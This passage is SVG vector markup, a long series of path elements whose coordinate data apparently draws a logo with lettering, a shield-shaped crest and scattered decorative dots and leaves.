d="M227,158.91a5,5,0,0,0-3.83-1.81,6.09,6.09,0,0,0-4.62,2.16,8.26,8.26,0,0,0-2,5.78,8.81,8.81,0,0,0,1.34,5,5.52,5.52,0,0,0,4.9,2.48,5.65,5.65,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.75-5.37Zm-6.3,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.31,1.31,0,0,1,.87.27,2.81,2.81,0,0,1,.84,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240.3,157.1a3.75,3.75,0,0,0-2.09.74,10.5,10.5,0,0,0-2.54,3v-3.3h-5.94v.58a2.28,2.28,0,0,1,1,.27,1.24,1.24,0,0,1,.45.64,5.68,5.68,0,0,1,.13,1.59v8A4.82,4.82,0,0,1,231,171a1.7,1.7,0,0,1-1.28.51v.56h7.86v-.56a3.49,3.49,0,0,1-1.25-.23,1.29,1.29,0,0,1-.54-.63,3.58,3.58,0,0,1-.11-1.13l0-.87v-3.34a10.58,10.58,0,0,1,.5-3.33,3.15,3.15,0,0,1,1-1.51,1.28,1.28,0,0,1,.85-.34.74.74,0,0,1,.36.09,8.94,8.94,0,0,1,.71.59,2.13,2.13,0,0,0,1.43.53,1.57,1.57,0,0,0,1.22-.57,2.44,2.44,0,0,0,.51-1.62,2,2,0,0,0-.53-1.51,1.79,1.79,0,0,0-1.39-.54Z" transform="translate(-23 -22)"/><path class="cls-1" d="M257.27,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.67,3.67,0,0,0-1.24-1.94,3.5,3.5,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.37,8.37,0,0,0-2.14,1.75v-1.88h-5.93v.58a1.83,1.83,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.82,1.82,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.57,4.57,0,0,1-.29-2.07v-7.79q1.15-1.92,2.49-1.92a1.14,1.14,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.82,1.82,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M283,168.9v-6a12,12,0,0,0-.35-3.39,3.54,3.54,0,0,0-1.24-1.75,3.78,3.78,0,0,0-2.4-.7,4.94,4.94,0,0,0-2.4.62,9.2,9.2,0,0,0-2.38,2,3.74,3.74,0,0,0-3.81-2.64,4.74,4.74,0,0,0-2.24.53,8,8,0,0,0-2.2,1.81v-1.91H260v.58a1.81,1.81,0,0,1,1.26.52,4.06,4.06,0,0,1,.31,2.06v8.21a4.33,4.33,0,0,1-.26,2,1.82,1.82,0,0,1-1.31.59v.56h7.5v-.56a1.62,1.62,0,0,1-1.28-.58,4.53,4.53,0,0,1-.29-2v-7.81a6,6,0,0,1,1.56-1.65,2.08,2.08,0,0,1,1.13-.33,1.21,1.21,0,0,1,.77.29,1.43,1.43,0,0,1,.53.77,10.93,10.93,0,0,1,.16,2.48v6.25a6.37,6.37,0,0,1-.13,1.66,1.27,1.27,0,0,1-.46.65,1.65,1.65,0,0,1-.95.3v.56h7.53v-.56a1.61,1.61,0,0,1-1.37-.64,4.36,4.36,0,0,1-.27-2v-7.81a6.14,6.14,0,0,1,1.39-1.46,2.28,2.28,0,0,1,1.35-.5,1.19,1.19,0,0,1,.78.27,1.4,1.4,0,0,1,.49.77,11.17,11.17,0,0,1,.16,2.48v6.25a4,4,0,0,1-.28,1.92,1.66,1.66,0,0,1-1.31.69v.56h7.51v-.56a1.86,1.86,0,0,1-1.27-.53,4.29,4.29,0,0,1-.3-2.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M295.7,158.91a4.94,4.94,0,0,0-3.82-1.81,6.09,6.09,0,0,0-4.62,2.16,8.21,8.21,0,0,0-1.95,5.78,8.81,8.81,0,0,0,1.33,5,5.51,5.51,0,0,0,4.9,2.48,5.69,5.69,0,0,0,3.31-1,8.85,8.85,0,0,0,2.61-3.42l-.52-.34a7,7,0,0,1-1.64,1.88,3,3,0,0,1-1.69.51,3.24,3.24,0,0,1-2.58-1.29,7.44,7.44,0,0,1-1.54-4.57h8a8.2,8.2,0,0,0-1.76-5.37Zm-6.29,4.33v-.55a6.73,6.73,0,0,1,.92-3.79,1.52,1.52,0,0,1,1.32-.79,1.28,1.28,0,0,1,.86.27,2.82,2.82,0,0,1,.85,1.42,13.79,13.79,0,0,1,.28,3.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M312.14,168.9v-5.66a14.82,14.82,0,0,0-.25-3.41,3.73,3.73,0,0,0-1.24-1.94,3.48,3.48,0,0,0-2.35-.79,4.48,4.48,0,0,0-2.21.56,8.2,8.2,0,0,0-2.14,1.75v-1.88H298v.58a1.81,1.81,0,0,1,1.26.52,4,4,0,0,1,.32,2.06v8.21a4.42,4.42,0,0,1-.27,2,1.8,1.8,0,0,1-1.31.59v.56h7.36v-.56a1.62,1.62,0,0,1-1.14-.54,4.42,4.42,0,0,1-.29-2.07v-7.79q1.14-1.92,2.49-1.92a1.12,1.12,0,0,1,.73.27,1.35,1.35,0,0,1,.48.71,11,11,0,0,1,.14,2.26v6.47a4.34,4.34,0,0,1-.25,1.92,1.53,1.53,0,0,1-1.18.69v.56h7.35v-.56a1.8,1.8,0,0,1-1.27-.51,4.42,4.42,0,0,1-.3-2.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M319.9,152.21h-.52a17,17,0,0,1-2.41,3.41,20.51,20.51,0,0,1-3.32,2.91v.54h1.89v7.85a14.75,14.75,0,0,0,.16,2.86,3.45,3.45,0,0,0,1.21,1.73,3.66,3.66,0,0,0,2.35.76,4.26,4.26,0,0,0,4.09-3l-.46-.34c-.61,1-1.24,1.54-1.92,1.54a.88.88,0,0,1-.54-.22,1.19,1.19,0,0,1-.42-.59,6.93,6.93,0,0,1-.11-1.63v-9h3.45v-1.54H319.9v-5.32Z" transform="translate(-23 -22)"/><path class="cls-1" d="M148,113.37l-.4.4a1,1,0,0,0,.4-.4Z" transform="translate(-23 -22)"/><path class="cls-1" d="M152.35,84.13a.76.76,0,1,0-.76.77.77.77,0,0,0,.76-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M159.43,52.72h0l0,22.16c0,2.14.9,4,2.15,4.58l10.55,6.3a1.26,1.26,0,0,0,1.82.1l10.71-6.4c1.26-.57,2.16-2.44,2.16-4.58l0-22.16H159.43Zm4.51,2.14.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.09v.47l-.4-.3-.41.3v-.47l-.43-.09.34-.35-.21-.39Zm-.12,5c.8,0,.57.77.71.77s0-.77.52-.77c.79,0,1.78,2,.88,2-.38,0-.07-.28-.08-.34s-.21-.18-.29-.18c-.26,0-.36.42-.58.44s-.26,0-.26-.18.32-.25.45-.37c-1.79,0-1.82.81-2.09.81-.47,0,.39-.86.63-1.11-.36-.06-.57-.5-1-.72.18-.27.29-.16.52,0,0-.19.14-.4.55-.4Zm0,6.75.34-.35-.21-.39.44,0,.27-.47.26.46.45,0-.21.39.34.35-.44.08v.48l-.4-.3-.41.3v-.48l-.43-.08Zm-3.6-13.13h2.89v5.68h-2.89V53.47Zm.35,7.65.34-.35-.21-.38.44,0,.26-.47.27.46.45,0-.22.38.34.35-.43.09v.48l-.41-.31-.4.31v-.48l-.43-.09Zm-.35,1.68h2.89v5.38h-2.89V62.8Zm8.34,19.94L162,78.82a4.7,4.7,0,0,1-1.78-3.65V68.93h8.34V82.74Zm0-14.56h-2.37V62.8h2.37v5.38ZM167,60.39l.44,0,.27-.47.26.46.45,0-.21.38.34.35-.44.09v.48l-.4-.31-.41.31v-.48l-.43-.09.34-.35-.21-.38Zm1.59-1.24h-2.37V53.47h2.37v5.68Zm8.46,24L174,85h-.05a1.24,1.24,0,0,1-.8.29,1.27,1.27,0,0,1-.8-.3l-3-1.8V68.93H177V83.19Zm0-15H169.3V53.47H177V68.18Zm9.09,7a4.66,4.66,0,0,1-1.78,3.65l-6.57,3.92V68.93h8.35v6.24Zm0-7h-8.35V53.47h8.35V68.18Z" transform="translate(-23 -22)"/><path class="cls-1" d="M160.55,72.67c0,.11.07.25.25.34-.08.08-.15.27-.15.78,0,1.76,1.1,2.57,1.9,2.57.58,0,.49-.4.55-.6,0,.3.31-.14.31.38s-.55.3-.55.77c0,.62.88,0,.88.66a8,8,0,0,1-.11,1.15c0,.22.92-.31.86-.41.23.09.21.74.62.72s.33-.67.54-.72c-.13,0,.82.62.82.32,0-.81-.33-.47-.33-1s1.13-.41,1-.68-.26-.08-.37-.47c0,.07-.9-1.3.18-.59s1.26-1.72,1.2-1.85-.53.13-.73.24a3.22,3.22,0,0,1,.81-1.06c-.05-.35-.5,0-1,.21,1.56-2.23.56-1.32-.31-1.16,1.4-1.5,1-1.47,0-1,.81-.64,1-1.4.86-1.62-.76,1-1.46.85-1.46,1.79a3.74,3.74,0,0,1-.54,2c-.4.44-.09-1.65-1.16-1.65-.35,0-1.15,0-1.4.38.22,0,.54.56.54.78s.21.83-.15.83-.79-.77-.79-1.14,0-.28,0-.8a3,3,0,0,0-2-2.14c0,.62.8.76.8,1.55-.34,0-.83-.64-.83-.24s.51.47.51.81-.58-.12-.58.25.32.27.4.59c-.24-.07-.45,0-.5.08Z" transform="translate(-23 -22)"/><path class="cls-1" d="M197.38,79.81a.8.8,0,1,0-.9-.8.85.85,0,0,0,.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M192.83,81.18a.91.91,0,1,0,.9-.8.85.85,0,0,0-.9.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M150.37,85.38a.81.81,0,1,0,.9.8.86.86,0,0,0-.9-.8Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.18,87.21a.8.8,0,1,0-.9-.79.85.85,0,0,0,.9.79Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.91,55.35a5.64,5.64,0,0,0-.67-6c-.33-.34-.09-1.11-.71-1.21-.86,2-.1,4.29.86,6.07.09.39,0,1.06.52,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.27,55.16c.23,0,.19.43.43.19a8.41,8.41,0,0,1,0-3.8,3.45,3.45,0,0,0-1.44-2.36.35.35,0,0,0-.47.09c.47,1.88-.39,4.53,1.48,5.88Z" transform="translate(-23 -22)"/><path class="cls-1" d="M234.74,53c.38-.24.9-.77.62-1.3a1.25,1.25,0,0,0-1.24-.48,1.1,1.1,0,0,0-.58,1.25,1.22,1.22,0,0,0,1.2.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" 